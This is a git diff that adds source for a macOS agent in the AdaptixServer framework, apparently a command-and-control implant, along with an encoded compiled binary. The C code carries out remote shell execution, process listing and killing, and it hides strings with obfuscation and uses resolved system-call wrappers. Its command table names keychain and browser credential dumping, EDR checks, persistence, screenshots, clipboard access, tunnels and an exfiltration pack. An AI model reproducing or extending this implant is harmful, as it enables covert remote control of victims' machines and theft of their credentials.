--- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,286 @@ +#include "tasks_proc.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +int task_ps(mp_writer_t* w) { + // Get process list via sysctl(KERN_PROC_ALL) + int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }; + size_t size = 0; + + if (R_sysctl(mib, 4, NULL, &size, NULL, 0) != 0) { + write_error(w, "sysctl size failed"); + return 0; + } + + uint8_t* buf = (uint8_t*)ax_malloc(size); + if (R_sysctl(mib, 4, buf, &size, NULL, 0) != 0) { + ax_free(buf, size); + write_error(w, "sysctl data failed"); + return 0; + } + + uint32_t nprocs = (uint32_t)(size / sizeof(struct kinfo_proc)); + struct kinfo_proc* procs = (struct kinfo_proc*)buf; + + // Build process list + mp_writer_t proc_writer; + mp_writer_init(&proc_writer, 4096); + mp_write_array(&proc_writer, nprocs); + + for (uint32_t i = 0; i < nprocs; i++) { + struct kinfo_proc* p = &procs[i]; + + // Get username from UID + struct passwd* pw = (struct passwd*)R_getpwuid(p->kp_eproc.e_ucred.cr_uid); + const char* user = pw ? pw->pw_name : ""; + + // TTY name + char tty[32] = ""; + if (p->kp_eproc.e_tdev != 0 && p->kp_eproc.e_tdev != (dev_t)-1) { + // Simplified — just show device number + ax_strcpy(tty, "?"); + } + + // PsInfo map (declaration order from Go struct) + mp_write_map(&proc_writer, 5); + mp_write_kv_int(&proc_writer, "pid", p->kp_proc.p_pid); + mp_write_kv_int(&proc_writer, "ppid", p->kp_eproc.e_ppid); + mp_write_kv_str(&proc_writer, "tty", tty); + mp_write_kv_str(&proc_writer, "context", user); + mp_write_kv_str(&proc_writer, "process", p->kp_proc.p_comm); + } + + ax_free(buf, size); + + // Response: AnsPs {result, status, processes} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", proc_writer.buf.data, (uint32_t)proc_writer.buf.len); + + mp_writer_free(&proc_writer); + return 0; +} + +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsKill {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int target_pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + int64_t v; + if (mp_read_int(&r, &v) == 0) target_pid = (int)v; + else { uint64_t u; mp_read_uint(&r, &u); target_pid = (int)u; } + } else { + mp_skip(&r); + } + } + + if (target_pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (R_kill(target_pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsShell {program: string, args: []string} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + DEOBF(default_shell, OBF_ZSH); + char program[4096]; + ax_strcpy(program, default_shell); + ZERO_STR(default_shell, OBF_ZSH); + char** args = NULL; + uint32_t arg_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + if (vlen >= sizeof(program)) vlen = sizeof(program) - 1; + ax_memcpy(program, val, vlen); + program[vlen] = '\0'; + } + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + arg_count = arr_count; + args = (char**)ax_malloc(arr_count * sizeof(char*)); + for (uint32_t j = 0; j < arr_count; j++) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + args[j] = (char*)ax_malloc(vlen + 1); + ax_memcpy(args[j], val, vlen); + args[j][vlen] = '\0'; + } else { + args[j] = (char*)ax_malloc(1); + args[j][0] = '\0'; + } + } + } + } else { + mp_skip(&r); + } + } + +#ifdef DEBUG_TRACE + { + _dbg("[SHELL] parsed params:"); + _dbg(program); + char abuf[64]; + int ai = 0; + const char* ap = "[SHELL] arg_count="; + while (*ap) abuf[ai++] = *ap++; + uint32_t av = arg_count; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (av % 10); av /= 10; } while (av > 0); + while (ni > 0) abuf[ai++] = nb[--ni]; + abuf[ai] = '\0'; + _dbg(abuf); + for (uint32_t j = 0; j < arg_count && j < 4; j++) { + _dbg(args[j]); + } + } +#endif + + // Create pipes for stdout+stderr + int pipefd[2]; + if (R_pipe(pipefd) != 0) { + write_error(w, "pipe failed"); + goto cleanup; + } + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); + R_close(pipefd[1]); + write_error(w, "fork failed"); + goto cleanup; + } + + if (pid == 0) { + // Child + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + + // Build argv: [program, args..., NULL] + char** argv = (char**)ax_malloc((arg_count + 2) * sizeof(char*)); + argv[0] = program; + for (uint32_t j = 0; j < arg_count; j++) argv[j + 1] = args[j]; + argv[arg_count + 1] = NULL; + + // Use execve with environ from _NSGetEnviron (execvp may fail with -nostdlib) + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(program, argv, environ); + R_exit(127); + } + + // Parent + R_close(pipefd[1]); + + // Read output + buffer_t output; + buf_init(&output, 4096); + char read_buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], read_buf, sizeof(read_buf))) > 0) { + buf_append(&output, (uint8_t*)read_buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + +#ifdef DEBUG_TRACE + { + char obuf[80]; + int oi = 0; + const char* op = "[SHELL] output_len="; + while (*op) obuf[oi++] = *op++; + size_t ov = output.len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (ov % 10); ov /= 10; } while (ov > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + const char* sp = " status="; + while (*sp) obuf[oi++] = *sp++; + int sv = WEXITSTATUS(status); + ni = 0; + do { nb[ni++] = '0' + (sv % 10); sv /= 10; } while (sv > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + obuf[oi] = '\0'; + _dbg(obuf); + } +#endif + + // Response: AnsShell {output} + // Null-terminate for safety + char nul = '\0'; + buf_append(&output, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)output.data); + buf_free(&output); + +cleanup: + if (args) { + for (uint32_t j = 0; j < arg_count; j++) { + if (args[j]) ax_free(args[j], ax_strlen(args[j]) + 1); + } + ax_free(args, arg_count * sizeof(char*)); + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 000000000..f9ae28309 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,11 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +int task_ps(mp_writer_t* w); +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_PROC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h new file mode 100644 index 000000000..b1f275785 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h @@ -0,0 +1,72 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Command codes — must match Go pl_utils.go exactly +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_SCREENSHOT 16 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// macOS-specific (21-30) +#define COMMAND_CLIPBOARD 21 +#define COMMAND_PERSIST 22 +#define COMMAND_TCC_CHECK 23 +#define COMMAND_DEFAULTS 24 +#define COMMAND_EDR_CHECK 25 +#define COMMAND_KEYCHAIN 26 +#define COMMAND_BROWSER_DUMP 27 + +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +/// Pack types +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 + +/// Growable buffer +typedef struct { + uint8_t* data; + size_t len; + size_t cap; +} buffer_t; + +int buf_init(buffer_t* b, size_t initial_cap); +int buf_append(buffer_t* b, const void* data, size_t len); +void buf_free(buffer_t* b); +void buf_reset(buffer_t* b); + +/// Boolean for clarity +#ifndef bool +#define bool _Bool +#define true 1 +#define false 0 +#endif + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent_macos b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos new file mode 100755 index 0000000000000000000000000000000000000000..1356ec5f48c2d0e71845609d3aa2c65372666593 GIT binary patch literal 107144 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 